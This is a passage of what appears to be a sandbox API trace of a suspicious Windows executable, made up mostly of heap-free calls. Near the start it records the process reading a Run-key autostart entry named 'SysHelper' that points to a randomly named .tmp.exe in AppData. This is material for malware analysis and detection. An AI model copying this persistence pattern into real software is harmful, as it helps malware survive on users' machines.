0x3ac [0048.743] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4162f0, lpParameter=0x473998, dwCreationFlags=0x0, lpThreadId=0x473990 | out: lpThreadId=0x473990*=0xb00) returned 0x3a8 [0048.744] GetMessageW (in: lpMsg=0x18c2a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18c2a0) returned 0 [0062.887] NtdllDefWindowProc_W () returned 0x3 [0062.887] NtdllDefWindowProc_W () returned 0x0 [0062.887] NtdllDefWindowProc_W () returned 0x0 [0062.901] NtdllDefWindowProc_W () returned 0x0 [0062.902] NtdllDefWindowProc_W () returned 0x0 [0062.902] NtdllDefWindowProc_W () returned 0x0 [0062.902] NtdllDefWindowProc_W () returned 0x0 [0062.902] NtdllDefWindowProc_W () returned 0x0 [0062.903] NtdllDefWindowProc_W () returned 0x1 [0062.904] NtdllDefWindowProc_W () returned 0x0 [0062.916] NtdllDefWindowProc_W () returned 0x0 [0062.917] NtdllDefWindowProc_W () returned 0x0 [0062.917] NtdllDefWindowProc_W () returned 0x0 [0062.917] NtdllDefWindowProc_W () returned 0x2 [0062.917] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0xf003f, phkResult=0x18b968 | out: phkResult=0x18b968*=0x6f4) returned 0x0 [0062.917] RegQueryValueExW (in: hKey=0x6f4, lpValueName="SysHelper", lpReserved=0x0, lpType=0x18b964, lpData=0x18a090, lpcbData=0x18b948*=0x400 | out: lpType=0x18b964*=0x2, lpData="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\6b294fe4-e3b3-4741-b743-c8423c8d7aef\\CUsersHPAppDataLocal03562a36-8263-4270-b004-3b05eb1758e3E285.tmp.exe\" --AutoStart", lpcbData=0x18b948*=0x148) returned 0x0 [0062.917] RegCloseKey (hKey=0x6f4) returned 0x0 [0062.918] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x150) returned 0x305ffb8 [0062.918] lstrlenA (lpString="\" --AutoStart") returned 13 [0062.918] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x130) returned 0x30d3b48 [0062.918] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x305ffb8 | out: hHeap=0x6d0000) returned 1 [0062.918] PathFileExistsW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\6b294fe4-e3b3-4741-b743-c8423c8d7aef\\CUsersHPAppDataLocal03562a36-8263-4270-b004-3b05eb1758e3E285.tmp.exe") returned 1 [0062.918] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30d3b48 | out: hHeap=0x6d0000) returned 1 [0062.918] IsWindow (hWnd=0x401be) returned 1 [0062.918] DestroyWindow (hWnd=0x401be) returned 1 [0062.918] NtdllDefWindowProc_W () returned 0x0 [0062.918] NtdllDefWindowProc_W () returned 0x1 [0062.920] NtdllDefWindowProc_W () returned 0x0 [0062.920] NtdllDefWindowProc_W () returned 0x0 [0062.920] NtdllDefWindowProc_W () returned 0x0 [0062.920] NtdllDefWindowProc_W () returned 0x0 [0062.920] NtdllDefWindowProc_W () returned 0x0 [0062.920] PostQuitMessage (nExitCode=0) [0062.925] NtdllDefWindowProc_W () returned 0x0 [0062.926] CloseHandle (hObject=0x5c8) returned 1 [0062.926] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30707a0 | out: hHeap=0x6d0000) returned 1 [0062.926] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30d6010 | out: hHeap=0x6d0000) returned 1 [0062.926] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30d61c8 | out: hHeap=0x6d0000) returned 1 [0062.926] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30d6038 | out: hHeap=0x6d0000) returned 1 [0062.926] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30d6100 | out: hHeap=0x6d0000) returned 1 [0062.926] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30d62b8 | out: hHeap=0x6d0000) returned 1 [0062.926] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30d62e0 | out: hHeap=0x6d0000) returned 1 [0062.926] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x3080780 | out: hHeap=0x6d0000) returned 1 [0062.926] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30807f0 | out: hHeap=0x6d0000) returned 1 [0062.926] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30d6308 | out: hHeap=0x6d0000) returned 1 [0062.926] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30d6330 | out: hHeap=0x6d0000) returned 1 [0062.926] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30d6358 | out: hHeap=0x6d0000) returned 1 [0062.926] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30d6380 | out: hHeap=0x6d0000) returned 1 [0062.926] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30d63a8 | out: hHeap=0x6d0000) returned 1 [0062.926] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30d63d0 | out: hHeap=0x6d0000) returned 1 [0062.926] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30d63f8 | out: hHeap=0x6d0000) returned 1 [0062.926] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30807b8 | out: hHeap=0x6d0000) returned 1 [0062.926] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x3080908 | out: hHeap=0x6d0000) returned 1 [0062.926] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30d6420 | out: hHeap=0x6d0000) returned 1 [0062.926] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30d6448 | out: hHeap=0x6d0000) returned 1 [0062.926] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30d6470 | out: hHeap=0x6d0000) returned 1 [0062.926] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30d6498 | out: hHeap=0x6d0000) returned 1 [0062.926] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30d64c0 | out: hHeap=0x6d0000) returned 1 [0062.926] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30d64e8 | out: hHeap=0x6d0000) returned 1 [0062.926] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30d6510 | out: hHeap=0x6d0000) returned 1 [0062.926] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30d6538 | out: hHeap=0x6d0000) returned 1 [0062.926] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30809b0 | out: hHeap=0x6d0000) returned 1 [0062.926] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30809e8 | out: hHeap=0x6d0000) returned 1 [0062.926] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30d6560 | out: hHeap=0x6d0000) returned 1 [0062.926] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30d6588 | out: hHeap=0x6d0000) returned 1 [0062.926] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30d65b0 | out: hHeap=0x6d0000) returned 1 [0062.926] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30d65d8 | out: hHeap=0x6d0000) returned 1 [0062.926] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30d6600 | out: hHeap=0x6d0000) returned 1 [0062.927] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30d6628 | out: hHeap=0x6d0000) returned 1 [0062.927] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30d6650 | out: hHeap=0x6d0000) returned 1 [0062.927] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30d6678 | out: hHeap=0x6d0000) returned 1 [0062.927] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x3080a20 | out: hHeap=0x6d0000) returned 1 [0062.927] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x3080a58 | out: hHeap=0x6d0000) returned 1 [0062.927] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30d66a0 | out: hHeap=0x6d0000) returned 1 [0062.927] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30d66c8 | out: hHeap=0x6d0000) returned 1 [0062.927] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30d66f0 | out: hHeap=0x6d0000) returned 1 [0062.927] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30d6718 | out: hHeap=0x6d0000) returned 1 [0062.927] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30d6740 | out: hHeap=0x6d0000) returned 1 [0062.927] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30d3d98 | out: hHeap=0x6d0000) returned 1 [0062.927] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30cffe0 | out: hHeap=0x6d0000) returned 1 [0062.927] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x3094c90 | out: hHeap=0x6d0000) returned 1 [0062.927] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x7b05d8 | out: hHeap=0x6d0000) returned 1 [0062.927] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30a0048 | out: hHeap=0x6d0000) returned 1 [0062.927] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x3080978 | out: hHeap=0x6d0000) returned 1 [0062.928] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30945a0 | out: hHeap=0x6d0000) returned 1 [0062.928] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x3094120 | out: hHeap=0x6d0000) returned 1 [0062.928] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30944c8 | out: hHeap=0x6d0000) returned 1 [0062.928] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x3094480 | out: hHeap=0x6d0000) returned 1 [0062.928] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x3073d10 | out: hHeap=0x6d0000) returned 1 [0062.928] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x7ad710 | out: hHeap=0x6d0000) returned 1 [0062.928] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x308c4b0 | out: hHeap=0x6d0000) returned 1 [0062.928] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x77b338 | out: hHeap=0x6d0000) returned 1 [0062.928] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x305b290 | out: hHeap=0x6d0000) returned 1 [0062.928] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x3103430 | out: hHeap=0x6d0000) returned 1 [0062.928] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x3103cb8 | out: hHeap=0x6d0000) returned 1 [0062.928] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x3104540 | out: hHeap=0x6d0000) returned 1 [0062.928] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x3104dc8 | out: hHeap=0x6d0000) returned 1 [0062.928] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x2fd50a0 | out: hHeap=0x6d0000) returned 1 [0062.929] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x3102320 | out: hHeap=0x6d0000) returned 1 [0062.929] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30df058 | out: hHeap=0x6d0000) returned 1 [0062.929] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30f72a8 | out: hHeap=0x6d0000) returned 1 [0062.929] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x310dec8 | out: hHeap=0x6d0000) returned 1 [0062.929] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30e3978 | out: hHeap=0x6d0000) returned 1 [0062.929] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30e3160 | out: hHeap=0x6d0000) returned 1 [0062.929] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30e2948 | out: hHeap=0x6d0000) returned 1 [0062.929] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30e2130 | out: hHeap=0x6d0000) returned 1 [0062.929] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30112a0 | out: hHeap=0x6d0000) returned 1 [0062.929] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30e59e8 | out: hHeap=0x6d0000) returned 1 [0062.929] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30e6a48 | out: hHeap=0x6d0000) returned 1 [0062.929] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30e7280 | out: hHeap=0x6d0000) returned 1 [0062.929] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30e7ab8 | out: hHeap=0x6d0000) returned 1 [0062.929] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30e82f0 | out: hHeap=0x6d0000) returned 1 [0062.929] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x6d0000) returned 1 [0062.929] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30e8b28 | out: hHeap=0x6d0000) returned 1 [0062.929] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30e6210 | out: hHeap=0x6d0000) returned 1 [0062.929] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30ea3f8 | out: hHeap=0x6d0000) returned 1 [0062.929] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30ebce8 | out: hHeap=0x6d0000) returned 1 [0062.929] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30ec968 | out: hHeap=0x6d0000) returned 1 [0062.929] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30e9bb0 | out: hHeap=0x6d0000) returned 1 [0062.929] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30ed5e8 | out: hHeap=0x6d0000) returned 1 [0062.929] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30eb480 | out: hHeap=0x6d0000) returned 1 [0062.929] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30ee658 | out: hHeap=0x6d0000) returned 1 [0062.929] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30ede10 | out: hHeap=0x6d0000) returned 1 [0062.929] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30eeea0 | out: hHeap=0x6d0000) returned 1 [0062.929] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30ef6d8 | out: hHeap=0x6d0000) returned 1 [0062.929] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30eac40 | out: hHeap=0x6d0000) returned 1 [0062.929] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30eff10 | out: hHeap=0x6d0000) returned 1 [0062.929] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30f0738 | out: hHeap=0x6d0000) returned 1 [0062.929] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30f1790 | out: hHeap=0x6d0000) returned 1 [0062.929] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30f2800 | out: hHeap=0x6d0000) returned 1 [0062.929] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30f0f60 | out: hHeap=0x6d0000) returned 1 [0062.930] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x3075ee0 | out: hHeap=0x6d0000) returned 1 [0062.930] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30f40e0 | out: hHeap=0x6d0000) returned 1 [0062.930] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30f4d60 | out: hHeap=0x6d0000) returned 1 [0062.930] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x3076768 | out: hHeap=0x6d0000) returned 1 [0062.930] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x3076ff0 | out: hHeap=0x6d0000) returned 1 [0062.930] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30f3038 | out: hHeap=0x6d0000) returned 1 [0062.930] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30f59e0 | out: hHeap=0x6d0000) returned 1 [0062.930] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30f6228 | out: hHeap=0x6d0000) returned 1 [0062.930] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30f1fc8 | out: hHeap=0x6d0000) returned 1 [0062.930] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30f3870 | out: hHeap=0x6d0000) returned 1 [0062.930] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30f6a70 | out: hHeap=0x6d0000) returned 1 [0062.930] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x3077878 | out: hHeap=0x6d0000) returned 1 [0062.930] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x3078100 | out: hHeap=0x6d0000) returned 1 [0062.930] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x3079210 | out: hHeap=0x6d0000) returned 1 [0062.930] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30f7ad8 | out: hHeap=0x6d0000) returned 1 [0062.930] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30f8b48 | out: hHeap=0x6d0000) returned 1 [0062.930] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x3079a98 | out: hHeap=0x6d0000) returned 1 [0062.930] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30fa428 | out: hHeap=0x6d0000) returned 1 [0062.930] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30fb0a8 | out: hHeap=0x6d0000) returned 1 [0062.930] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x307a320 | out: hHeap=0x6d0000) returned 1 [0062.930] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x307aba8 | out: hHeap=0x6d0000) returned 1 [0062.930] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30f9380 | out: hHeap=0x6d0000) returned 1 [0062.930] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30fbd28 | out: hHeap=0x6d0000) returned 1 [0062.930] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30fc570 | out: hHeap=0x6d0000) returned 1 [0062.930] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30f8310 | out: hHeap=0x6d0000) returned 1 [0062.930] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30f9bb8 | out: hHeap=0x6d0000) returned 1 [0062.930] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30fcdb8 | out: hHeap=0x6d0000) returned 1 [0062.930] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x3078988 | out: hHeap=0x6d0000) returned 1 [0062.930] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x307bcb8 | out: hHeap=0x6d0000) returned 1 [0062.930] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x307c540 | out: hHeap=0x6d0000) returned 1 [0062.930] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x307b430 | out: hHeap=0x6d0000) returned 1 [0062.930] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30fdee0 | out: hHeap=0x6d0000) returned 1 [0062.931] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30fe768 | out: hHeap=0x6d0000) returned 1 [0062.931] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x310ef70 | out: hHeap=0x6d0000) returned 1 [0062.931] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x310fbf0 | out: hHeap=0x6d0000) returned 1 [0062.931] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30feff0 | out: hHeap=0x6d0000) returned 1 [0062.931] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30ff878 | out: hHeap=0x6d0000) returned 1 [0062.931] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x3100100 | out: hHeap=0x6d0000) returned 1 [0062.931] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x310e708 | out: hHeap=0x6d0000) returned 1 [0062.931] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x3100988 | out: hHeap=0x6d0000) returned 1 [0062.931] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x3101210 | out: hHeap=0x6d0000) returned 1 [0062.931] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x3101a98 | out: hHeap=0x6d0000) returned 1 [0062.931] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x307cdc8 | out: hHeap=0x6d0000) returned 1 [0062.931] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x3102ba8 | out: hHeap=0x6d0000) returned 1 [0062.931] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30fd5f0 | out: hHeap=0x6d0000) returned 1 [0062.931] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30d07f8 | out: hHeap=0x6d0000) returned 1 [0062.931] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x2fd4fd0 | out: hHeap=0x6d0000) returned 1 [0062.931] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30d9f70 | out: hHeap=0x6d0000) returned 1 [0062.931] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30d5240 | out: hHeap=0x6d0000) returned 1 [0062.931] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30a0850 | out: hHeap=0x6d0000) returned 1 [0062.931] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x7b34b8 | out: hHeap=0x6d0000) returned 1 [0062.931] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x3083d80 | out: hHeap=0x6d0000) returned 1 [0062.931] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x312ece0 | out: hHeap=0x6d0000) returned 1 [0062.931] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x312f568 | out: hHeap=0x6d0000) returned 1 [0062.931] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x312fdf0 | out: hHeap=0x6d0000) returned 1 [0062.931] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x3130678 | out: hHeap=0x6d0000) returned 1 [0062.931] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x2fd5108 | out: hHeap=0x6d0000) returned 1 [0062.931] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x312b9b0 | out: hHeap=0x6d0000) returned 1 [0062.931] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30e51c0 | out: hHeap=0x6d0000) returned 1 [0062.931] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x3137518 | out: hHeap=0x6d0000) returned 1 [0062.931] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x312c238 | out: hHeap=0x6d0000) returned 1 [0062.931] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x312cac0 | out: hHeap=0x6d0000) returned 1 [0062.931] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x312d348 | out: hHeap=0x6d0000) returned 1 [0062.932] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x312dbd0 | out: hHeap=0x6d0000) returned 1 [0062.932] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x312e458 | out: hHeap=0x6d0000) returned 1 [0062.932] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x3099ad0 | out: hHeap=0x6d0000) returned 1 [0062.932] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x3105ed8 | out: hHeap=0x6d0000) returned 1 [0062.932] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x3106760 | out: hHeap=0x6d0000) returned 1 [0062.932] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x3106fe8 | out: hHeap=0x6d0000) returned 1 [0062.932] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x3107870 | out: hHeap=0x6d0000) returned 1 [0062.932] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x31080f8 | out: hHeap=0x6d0000) returned 1 [0062.932] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30e0960 | out: hHeap=0x6d0000) returned 1 [0062.932] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x3108980 | out: hHeap=0x6d0000) returned 1 [0062.932] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x3109208 | out: hHeap=0x6d0000) returned 1 [0062.932] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30e11a8 | out: hHeap=0x6d0000) returned 1 [0062.932] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x3110870 | out: hHeap=0x6d0000) returned 1 [0062.932] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x31110d8 | out: hHeap=0x6d0000) returned 1 [0062.932] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x3109a90 | out: hHeap=0x6d0000) returned 1 [0062.932] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x310a318 | out: hHeap=0x6d0000) returned 1 [0062.932] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x3111940 | out: hHeap=0x6d0000) returned 1 [0062.932] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x3112188 | out: hHeap=0x6d0000) returned 1 [0062.932] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x310aba0 | out: hHeap=0x6d0000) returned 1 [0062.932] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x310b428 | out: hHeap=0x6d0000) returned 1 [0062.932] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x310bcb0 | out: hHeap=0x6d0000) returned 1 [0062.932] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x310c538 | out: hHeap=0x6d0000) returned 1 [0062.932] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x310cdc0 | out: hHeap=0x6d0000) returned 1 [0062.932] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x31129e8 | out: hHeap=0x6d0000) returned 1 [0062.932] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x3113270 | out: hHeap=0x6d0000) returned 1 [0062.932] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x3113af8 | out: hHeap=0x6d0000) returned 1 [0062.932] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x3114380 | out: hHeap=0x6d0000) returned 1 [0062.932] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x3114c08 | out: hHeap=0x6d0000) returned 1 [0062.932] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x31229d0 | out: hHeap=0x6d0000) returned 1 [0062.932] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x3123238 | out: hHeap=0x6d0000) returned 1 [0062.932] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x3115490 | out: hHeap=0x6d0000) returned 1 [0062.933] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x3115d18 | out: hHeap=0x6d0000) returned 1 [0062.933] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x31165a0 | out: hHeap=0x6d0000) returned 1 [0062.933] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x3123aa0 | out: hHeap=0x6d0000) returned 1 [0062.933] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x31242e8 | out: hHeap=0x6d0000) returned 1 [0062.933] HeapFree (in: 